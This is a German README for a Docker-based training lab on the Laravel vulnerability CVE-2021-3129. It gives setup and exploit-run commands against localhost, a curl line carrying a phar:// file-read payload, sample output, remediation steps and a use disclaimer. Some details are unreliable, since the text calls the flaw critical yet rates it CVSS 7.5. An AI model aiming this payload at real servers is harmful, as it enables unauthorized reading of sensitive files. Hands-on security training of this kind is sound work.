thenareshofficial/cve-2021-3129-labCVE-2021-3129: Laravel Debug Mode RCE - Vollständiges Exploitation-Labor mit Python-Exploit, Docker-Container und Leitfaden zur Sicherheitsanalyse.
Ein praktisches Hands-on-Lab zur Ausnutzung von CVE-2021-3129 – einer kritischen Laravel-Schwachstelle, die nicht authentifiziertes Dateilesen und potenzielle RCE ermöglicht.
# Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# Build & Run
docker build -t cve-2021-3129-lab:latest .
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# Test
curl http://localhost:8080/_ide_helper.php
# Exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
| Eigenschaft | Details |
|---|---|
| Schweregrad | CVSS 7.5 (Hoch) |
| Betroffen | Laravel < 8.4.2, < 7.30.4 |
| Auswirkung | Beliebiges Dateilesen, Informationspreisgabe, potenzielle RCE |
| Authentifizierung erforderlich | Nein |
| Angriffsvektor | Netzwerk |
/_ide_helper.php testenphar://-Wrapper zum Lesen von Dateien verwenden# 1. Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# 2. Build container
docker build -t cve-2021-3129-lab:latest .
# 3. Run container
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# 4. Verify endpoint
curl http://localhost:8080/_ide_helper.php
# 5. Run exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
[✓✓✓] CVE-2021-3129 VULNERABILITY CONFIRMED!
VULNERABILITY DETAILS:
- Debug mode is ENABLED (APP_DEBUG=true)
- _ide_helper.php is ACCESSIBLE
- Arbitrary file read is POSSIBLE
- Sensitive information LEAKED
# Basic
python3 cve_2021_3129_exploit.py http://localhost:8080
# Custom timeout
python3 cve_2021_3129_exploit.py http://localhost:8080 --timeout 10
# Help
python3 cve_2021_3129_exploit.py -h
# Test endpoint
curl http://localhost:8080/_ide_helper.php
# Test with payload
curl 'http://localhost:8080/_ide_helper.php?subject=phar://storage/logs/laravel.log'
# 1. Set APP_DEBUG=false in .env
# 2. Remove _ide_helper.php
# 3. Update Laravel to patched version (8.4.2+, 7.30.4+)
# 4. Restart application
# Stop container
docker stop laravel-cve-2021-3129
# Remove container
docker rm laravel-cve-2021-3129
# Remove image
docker rmi cve-2021-3129-lab:latest
F: Kann ich das über das Internet testen?
A: Nein. Nur für localhost. Teste niemals an Systemen, die dir nicht gehören.
F: Funktioniert das mit gepatchten Versionen?
A: Nein. Laravel 8.4.2+ und 7.30.4+ sind gepatcht.
F: Kann ich den Exploit modifizieren?
A: Ja. Der Code ist zu Lernzwecken vollständig kommentiert.
F: Wie kann ich Netzwerkverkehr aufzeichnen?
A: Verwende tcpdump oder Wireshark:
sudo tcpdump -i lo -w capture.pcapng 'tcp port 8080'
# In another terminal, run the exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
# Open capture: wireshark capture.pcapng
⚠️ Nur zu Bildungszwecken
✅ Zulässige Verwendungen:
❌ Verbotene Verwendungen:
Verwende es nur auf Systemen, die dir gehören oder für die du eine ausdrückliche Testgenehmigung hast.
Naresh R (@theNareshofficial)
MIT-Lizenz – Siehe Datei LICENSE